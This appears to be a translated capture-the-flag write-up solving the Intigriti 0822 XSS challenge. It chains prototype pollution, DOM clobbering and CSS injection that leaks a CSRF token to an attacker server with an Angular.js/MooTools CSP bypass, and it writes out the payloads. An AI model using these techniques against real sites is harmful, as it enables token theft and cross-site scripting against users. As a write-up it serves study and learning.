Intigriti 0822 XSS Challenge Writeup

發表於
分類於 security

This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .

Recently, I solved the Intigriti 0822 XSS Challenge and successfully achieved First Blood on this challenge. This challenge combines various frontend attack techniques and includes some new exploitation methods worth learning, so I will briefly document my solution.

Overview

The challenge provides the source code, so let's list some potentially exploitable points:

  • app.php allows specifying HTML through #msg=, which will be sanitized by DOMPurify 2.3.6 and then injected as HTML, but it will be removed in less than a second.
  • app.php has direct HTML injection: value="<?= $_SESSION['name']; ?>", but the length must be less than 20.
  • preview.php can be exploited through the POST parameter desc. Although it undergoes HTML filtering, the filtering method is flawed, allowing CSRF -> XSS.
  • preview.php verifies the CSRF Token, which appears on the app.php page.
  • The entire site has CSP, but since it allows https://cdnjs.cloudflare.com/ajax/libs/, it is evident that Angular.js is used to bypass it.

From these five points, the general attack flow can be inferred:

  1. Use some method (e.g., CSS Injection) to steal the CSRF Token through app.php.
  2. Use the Token to perform a CSRF attack on preview.php to achieve XSS.
  3. Use Angular.js to bypass CSP.

However, there are some issues, such as the html injection content being removed quickly, making CSS Injection difficult, so a bypass method is needed. Additionally, CSS Injection is not straightforward due to the HTML structure, and these issues need to be resolved one by one.

Bypass HTML Injection Timeout

Here is the entire content of app.js:

let isDarkMode = false
let theme

initTheme()
document.querySelector('.btn-update-name').addEventListener('click', () => {
  const name = prompt('Please input new name')
  if (!name) return
  const csrfToken = document.querySelector('meta[name="csrf-token"]').content
  fetch('./update-name.php', {
    method: 'POST',
    headers: {
      'content-type': 'application/x-www-form-urlencoded'
    },
    credentials: 'include',
    body: `csrf-token=${encodeURIComponent(csrfToken)}&name=${encodeURIComponent(name)}`
  })
  .then(r => r.text())
  .then(res => {
    if (res === 'success') {
      document.querySelector('#nameField').value = name
    }
    alert(res)
  }).catch(e => {
    alert('Failed:' + e.toString())
  })
})

function initTheme() {
  if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) {
    isDarkMode = true
  }

  fetch("theme.php")
    .then((res) => res.json())
    .then((serverTheme) => {
      theme = {
        primary: {},
        secondary: {}
      }

      for(let themeName in serverTheme) {
        const currentTheme = theme[themeName]
        const currentServerTheme = serverTheme[themeName]

        for(let item in currentServerTheme) {
          currentTheme[item] = () => isDarkMode ? currentServerTheme[item].dark : currentServerTheme[item].light
        }
      }

      const themeDiv = document.querySelector('.theme-text')
      themeDiv.innerText = `Primary - Text: ${theme?.primary?.text()}, Background: ${theme?.primary?.bg()}
        Secondary - Text: ${theme?.secondary?.text()}, Background: ${theme?.secondary?.bg()}
      `
      start()
    })
}


function start() {
  const message = decodeURIComponent(location.hash.replace('#msg=', ''))
  if (!message.length) return
  const options = {}
  if (document.domain.match(/testing/)) {
    options['production'] = false
  } else {
    options['production'] = true
    options['timeout'] = () => Math.random()*300 + 300
  }
  showMessage(message, {
    container: document.querySelector('body'),
    ...options
  })
}

function showMessage(message, options) {
  const getTimeout = options.timeout || (() => 500)
  const container = options.container || document.querySelector('body')

  const modal = document.createElement('div')
  modal.id = 'messageModal'
  modal.innerHTML = DOMPurify.sanitize(message)
  container.appendChild(modal)
  history.replaceState(null, null, ' ')

  setTimeout(() => {
    container.removeChild(modal)
  }, getTimeout())
}

First, fetch theme.php and do some things, then enter start, and determine document.domain to decide whether it is production and whether to specify the timeout parameter. Finally, timeout will be used in the removeChild timeout. From this alone, it is not clear how to bypass this time limit, so we can focus on the previous part.

In the response handling part of the fetch above, it can be found that if serverTheme is controllable, we can achieve prototype pollution here, and the polluted value will be a simple function that returns a value. For example, if serverTheme includes __proto__ like this:

...
	"__proto__": {
		"asd": {
			"dark": true,
			"light": true
		}
	}

Then Object.prototype.asd() === true will be true. Therefore, if start enters the document.domain.match(/testing/) branch, we can pollute Object.prototype.timeout to return a large number, allowing the HTML injection to last longer.

Controlling serverTheme is not difficult because it parses the body as JSON and outputs formatted JSON without checking Content-Type, so we can bypass it using the well-known CSRF JSON trick.

However, the problem becomes how to make document.domain.match(/testing/) true. Although a quick Google search shows that the 0121 XSS challenge supports *.challenge-0121.intigriti.io, so testing.challenge-0121.intigriti.io would work, this challenge does not have such a design, so this trick cannot be used.

The key to bypassing here is to use the 20-character injection. Since the injection point is within an attribute, inserting "><img name=domain> can clobber document.domain, making it an HTMLElement without a .match function, causing an error. We need to use prototype pollution again to make Object.prototype.match() === true true, allowing it to pass the condition check, enter the branch, and successfully achieve persistent HTML Injection.

In summary, we need to first CSRF JSON to modify the theme, perform prototype pollution to modify timeout() and match() to make the timeout very long, allowing the HTML Injection to persist on the page for subsequent exploitation.

CSS Injection

Since CSRF attacking preview.php requires a CSRF Token, we need to find a way to leak the CSRF Token. DOMPurify allows the <style> tag by default, so the method is obvious: CSS Injection.

PS: DOMPurify.sanitize('<style></style>') results in an empty string, but DOMPurify.sanitize('a<style></style>') does not. This is because DOMPurify internally uses DOMParser, so the behavior is similar to how browsers handle HTML5, where style is placed in <head> by default.

The CSRF Token on the app.php page appears in two places:

<head>
	<!-- other elements omitted -->
	<meta name="csrf-token" content="<?= $csrf_token ?>">
</head>

<div>
	<input type="hidden" name="csrf-token" value="<?= $csrf_token ?>" />
</div>

The input part is more common, using input[value^=a] to match and then leaking it through background: url(http://attacker/?leak=a). However, the problem is that type="hidden" causes the entire element to be hidden, preventing the background from loading, so it cannot be used to leak.

Although a quick Google search reveals the method input[value^=a] ~ * to match any element at the same level after the corresponding input, the input is the only element under the div, so this trick cannot be used either.

CSS also has a newer feature called :has, which can be used in supported browsers to match the div with div:has(input[value^=a]). However, :has was added in Chromium 105, and Chrome Stable will be upgraded to 105 on 2022/08/30, two days after this challenge ends, so this trick cannot be used either.

The key here is to notice that the CSRF Token is also in the content of the <meta> tag, but since it is a hidden element, background is still ineffective. However, adding head, meta { display:block; } reveals something interesting: elements in <head> can be made visible with display: block;, and background can indeed be triggered. Therefore, using meta[content^=a] to leak is feasible.

To leak the entire CSRF Token (32 chars) at once, some CSS @import tricks with server-generated CSS are needed. I referred to the Sequential Import Chaining method. Basically, create 32 <style> tags, each with an @import 'SERVER/polling/{i}';, and the server handles the response for i=0 like this:

meta[content^=0] {
	background: url('SERVER/leak/0');
}
meta[content^=1] {
	background: url('SERVER/leak/1');
}
...

If the first character is a, the server returns /leak/a and then responds with i=1:

meta[content^=a0] {
	background: url('SERVER/leak/a0');
}
meta[content^=a1] {
	background: url('SERVER/leak/a1');
}
...

Using this method, characters can be leaked one by one. However, there are practical issues, such as Chromium limiting to 6 connections per host, blocking /leak/? when polling is stuck.

The workaround is simple: provide two hosts to bypass this issue. I used Flask to listen on one port and socat to proxy to another port, using different ports for polling and leaking. Later, I moved the exploit to my website to bypass mixed content issues, and with CloudFlare as a proxy, HTTP/3 allowed using the same host without blocking. I guess HTTP/2 would have the same effect.

XSS + Angular CSP Bypass

After obtaining the CSRF Token, a CSRF attack on preview.php can be performed. Although it escapes HTML, the handling is flawed:

$desc = htmlspecialchars($desc);
$desc = preg_replace('/(https?:\/\/www\.youtube\.com\/embed\/[^\s]*)/', '<iframe src="$1"></iframe>', $desc);
$desc = preg_replace('/(https?:\/\/[^\s]*\.(png|jpg|gif))/', '<img src="$1">', $desc);

After escaping, it replaces HTML content, resulting in:

http://www.youtube.com/embed/srcdoc='asd'.png
<iframe src="<img src="http://www.youtube.com/embed/srcdoc='asd'.png">"></iframe>

Thus, using two layers of replacement, the payload moves to the attribute context, and srcdoc is used for XSS.

This only works in PHP 7, as PHP 8's htmlspecialchars default option includes ENT_QUOTES, escaping ', making it more complicated.

Finally, to bypass CSP, since the initial iframe is hidden and user interaction is not required, the most stable bypass is using Angular.js + Prototype.js:

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
  {{$on.curry.call().alert(1)}}
</div>

Using newer or older Angular.js versions without Sandbox protection easily achieves eval, but it violates CSP, so finding a way to get window in the ng-csp simulated environment is necessary.

However, preview.php blacklists $desc:

$dangerous_words = ['eval', 'setTimeout', 'setInterval', 'Function', 'constructor', 'proto', 'on', '%', '&', '#', '?', '\\'];

foreach ($dangerous_words as $word) {
  if (stripos($desc, $word) !== false){
    header("Location: app.php#msg=dangerous word detected!");
    die();
  }
}

It prohibits proto and other HTML-related escape characters, so prototype.js cannot be used, requiring a similar alternative. Since Google searches yield little information, understanding Angular Sandbox Escape is necessary. The key is here:

function curry() {
  if (!arguments.length) return this;
  var __method = this, args = slice.call(arguments, 0);
  return function() {
    var a = merge(args, arguments);
    return __method.apply(this, a);
  }
}

It returns this when no parameters are provided, and in JavaScript, this in a non-existent context is global:

function f() { return this }
const o = { f }

// all true
console.log(f() === window)
console.log(o.f() === o)
console.log(f.call(o) === o)
console.log(f.call() === window)

So the goal is simple: find a library on cdnjs that modifies the builtin object's prototype and includes return this. My thought was that in 2022, except for polyfills, few libraries modify prototypes, so looking at older libraries might help. Among libraries from the Prototype.js era, MooTools is notable, as it is the main reason Array.prototype.includes is not called Array.prototype.contains and related to SmooshGate.

Searching for return this in mootools-core.js reveals:

Function.prototype.overloadSetter = function(usePlural){
	var self = this;
	return function(a, b){
		if (a == null) return this;
		if (usePlural || typeof a != 'string'){
			for (var k in a) self.call(this, k, a[k]);
			/*<ltIE8>*/
			forEachObjectEnumberableKey(a, self, this);
			/*</ltIE8>*/
		} else {
			self.call(this, a, b);
		}
		return this;
	};
};

Thus, fn.overloadSetter().call() retrieves the window object. Adjusting the Angular.js expression slightly bypasses CSP, achieving alert(document.domain):

<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.js></script>
<script src=https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.js></script>
<body ng-app ng-csp>
  {{a=$apply.overloadSetter().call()}}{{a.alert(a.document.domain)}}
</body>

Final Exploit

The complete exploit can be downloaded here: exp.tar.gz

This challenge is very interesting, combining many common techniques and some unique twists (e.g., <meta>, MooTools), requiring a combination of many basic skills to solve. It also taught me how to perform a practical CSS Injection, not just the rough concept.

Additionally, my CSS Injection method has some issues on Firefox due to differences in handling @import compared to Chromium. According to Huli, the method in CSS data exfiltration in Firefox via a single injection point can be referenced and adjusted to succeed. I might research the differences later.

Appendix

Writeup by one of the authors, Huli: Intigriti 0822 XSS Challenge Author Writeup

Writeup by one of the authors, Bruno: BrunoHalltari/CTF-Writeups - challenge-0822.intigriti.io